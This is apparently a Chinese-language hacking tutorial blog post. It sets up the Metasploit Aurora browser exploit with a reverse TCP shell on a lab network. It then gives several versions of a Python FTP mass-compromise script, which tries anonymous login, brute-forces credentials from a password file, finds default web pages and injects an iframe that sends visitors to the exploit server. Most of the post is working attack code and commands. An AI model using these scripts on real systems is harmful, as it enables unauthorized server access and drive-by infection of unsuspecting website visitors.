python-在网页中加入恶意注入代码

这里主要提及利用之前的极光漏洞，先在Kali中打开Metasploit框架窗口，然后输入命令：

search ms10_002_aurora

use exploit/windows/browser/ms10_002_aurora

show payloads

set payload windows/shell/reverse_tcp

show options

set SRVHOST 10.10.10.160

set URIPATH /exploit

set LHOST 10.10.10.160

set LPORT 443

exploit

运行之后，分别在win 2k3 server和XP上访问http://10.10.10.160:8080/exploit 站点，虽然得到了连接信息但是没有得到shell，可能是因为IE浏览器的版本不存在极光漏洞吧：

过程清晰之后，就实现往目标服务器的网站文件中注入访问http://10.10.10.160:8080/exploit的代码即可，整个代码如下：

#!/usr/bin/python
#coding=utf-8
import ftplib

def injectPage(ftp,page,redirect):
    f = open(page + '.tmp','w')
    #下载FTP文件
    ftp.retrlines('RETR ' + page,f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    #上传目标文件
    ftp.storlines('STOR ' + page,open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page

host = '10.10.10.130'
username = 'ftpuser'
password = 'ftppassword'
ftp = ftplib.FTP(host)
ftp.login(username,password)
redirect = '<iframe src="http://10.10.10.160:8080/exploit"></iframe>'
injectPage(ftp,'index.html',redirect)

接下来的利用和本小节开头的一样，直接打开msf进行相应的监听即可。

【修改后的代码】来自：https://blog.csdn.net/SKI_12

#!/usr/bin/python
#coding=utf-8
import ftplib

def injectPage(ftp,page,redirect):
    f = open(page + '.tmp','w')
    #下载FTP文件
    ftp.retrlines('RETR ' + page,f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    #上传目标文件
    ftp.storlines('STOR ' + page,open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page
    print
def main():
    while True:
        host = raw_input('[*]Host >>> ')
        username = raw_input('[*]Username >>> ')
        password = raw_input('[*]Password >>> ')
        redirect = raw_input('[*]Redirect >>> ')
        print
        try:
            ftp = ftplib.FTP(host)
            ftp.login(username,password)
            injectPage(ftp,'index.html',redirect)
        except:
            print '[-] Logon failed.'

if __name__ == '__main__':
    main()

整合全部的攻击

这里将上面几个小节的代码整合到一块，主要是添加了attack()函数，该函数首先用用户名和密码登陆FTP服务器，然后调用其他函数搜索默认网页并下载同时实现注入和上传，其实说白了这个函数就是将前面几个小节的函数整合起来调用。

#!/usr/bin/python
#coding=utf-8
import ftplib
import optparse
import time

def attack(username,password,tgtHost,redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username,password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp,defPage,redirect)

def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous','[email protected]')
        print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'
        return False

def bruteLogin(hostname,passwdFile):
    pF = open(passwdFile,'r')
    for line in pF.readlines():
        username = line.split(':')[0]
        password = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + username + '/' + password
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(username,password)
            print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
            ftp.quit()
            return (username,password)
        except Exception, e:
            pass
    print '\n[-] Could not brubrute force FTP credentials.'
    return (None,None)

def returnDefault(ftp):
    try:
        #nlst()方法获取目录下的文件
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return

    retList = []
    for filename in dirList:
        #lower()方法将文件名都转换为小写的形式
        fn = filename.lower()
        if '.php' in fn or '.asp' in fn or '.htm' in fn:
            print '[+] Found default page: '+filename
            retList.append(filename)
    return retList

def injectPage(ftp,page,redirect):
    f = open(page + '.tmp','w')
    #下载FTP文件
    ftp.retrlines('RETR ' + page,f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    #上传目标文件
    ftp.storlines('STOR ' + page,open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page

def main():
    parser = optparse.OptionParser('[*] Usage : ./massCompromise.py  -H <target host[s]> -r <redirect page> -f <userpass file>]')
    parser.add_option('-H',dest='hosts',type='string',help='specify target host')
    parser.add_option('-r',dest='redirect',type='string',help='specify redirect page')
    parser.add_option('-f',dest='file',type='string',help='specify userpass file')
    (options,args) = parser.parse_args()

    #返回hosts列表，若不加split()则只返回一个字符
    hosts = str(options.hosts).split(',')
    redirect = options.redirect
    file = options.file

    #先不用判断用户口令文件名是否输入，因为会先进行匿名登录尝试
    if hosts == None or redirect == None:
        print parser.usage
        exit(0)

    for host in hosts:
        username = None
        password = None
        if anonLogin(host) == True:
            username = 'anonymous'
            password = '[email protected]'
            print '[+] Using Anonymous Creds to attack'
            attack(username,password,host,redirect)
        elif file != None:
            (username,password) = bruteLogin(host,file)
            if password != None:
                print '[+] Using Cred: ' + username + '/' + password + ' to attack'
                attack(username,password,host,redirect)

if __name__ == '__main__':
    main()

调用方式：masscompromise.py -H 192.168.1.1 -r '<iframe src="http://10.10.10.160:8080/exploit"></iframe>'

由于可以匿名登录所以可以直接进行注入攻击。

但是发现就是匿名登录进去的文件都只是属于匿名用户自己的而没有ftpuser即正常的FTP用户的文件，所以为了实现同时进行注入就稍微修改了一下代码：

#!/usr/bin/python
#coding=utf-8
import ftplib
import optparse
import time

def attack(username,password,tgtHost,redirect):
    ftp = ftplib.FTP(tgtHost)
    ftp.login(username,password)
    defPages = returnDefault(ftp)
    for defPage in defPages:
        injectPage(ftp,defPage,redirect)

def anonLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous','[email protected]')
        print '\n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded.'
        ftp.quit()
        return True
    except Exception, e:
        print '\n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed.'
        return False

def bruteLogin(hostname,passwdFile):
    pF = open(passwdFile,'r')
    for line in pF.readlines():
        username = line.split(':')[0]
        password = line.split(':')[1].strip('\r').strip('\n')
        print '[+] Trying: ' + username + '/' + password
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(username,password)
            print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: ' + username + '/' + password
            ftp.quit()
            return (username,password)
        except Exception, e:
            pass
    print '\n[-] Could not brubrute force FTP credentials.'
    return (None,None)

def returnDefault(ftp):
    try:
        #nlst()方法获取目录下的文件
        dirList = ftp.nlst()
    except:
        dirList = []
        print '[-] Could not list directory contents.'
        print '[-] Skipping To Next Target.'
        return

    retList = []
    for filename in dirList:
        #lower()方法将文件名都转换为小写的形式
        fn = filename.lower()
        if '.php' in fn or '.asp' in fn or '.htm' in fn:
            print '[+] Found default page: '+filename
            retList.append(filename)
    return retList

def injectPage(ftp,page,redirect):
    f = open(page + '.tmp','w')
    #下载FTP文件
    ftp.retrlines('RETR ' + page,f.write)
    print '[+] Downloaded Page: ' + page
    f.write(redirect)
    f.close()
    print '[+] Injected Malicious IFrame on: ' + page
    #上传目标文件
    ftp.storlines('STOR ' + page,open(page + '.tmp'))
    print '[+] Uploaded Injected Page: ' + page

def main():
    parser = optparse.OptionParser('[*] Usage : ./massCompromise.py  -H <target host[s]> -r <redirect page> -f <userpass file>]')
    parser.add_option('-H',dest='hosts',type='string',help='specify target host')
    parser.add_option('-r',dest='redirect',type='string',help='specify redirect page')
    parser.add_option('-f',dest='file',type='string',help='specify userpass file')
    (options,args) = parser.parse_args()

    #返回hosts列表，若不加split()则只返回一个字符
    hosts = str(options.hosts).split(',')
    redirect = options.redirect
    file = options.file

    #先不用判断用户口令文件名是否输入，因为先进行匿名登录尝试
    if hosts == None or redirect == None:
        print parser.usage
        exit(0)

    for host in hosts:
        username = None
        password = None
        if anonLogin(host) == True:
            username = 'anonymous'
            password = '[email protected]'
            print '[+] Using Anonymous Creds to attack'
            attack(username,password,host,redirect)
        if file != None:
            (username,password) = bruteLogin(host,file)
            if password != None:
                print '[+] Using Cred: ' + username + '/' + password + ' to attack'
                attack(username,password,host,redirect)

if __name__ == '__main__':
    main()

调用方式：masscompromise.py -H 192.168.1.1 -r '<iframe src="http://10.10.10.160:8080/exploit"></iframe>' -f ftpBL.txt

可以发现两个用户中发现的文件是不一样的。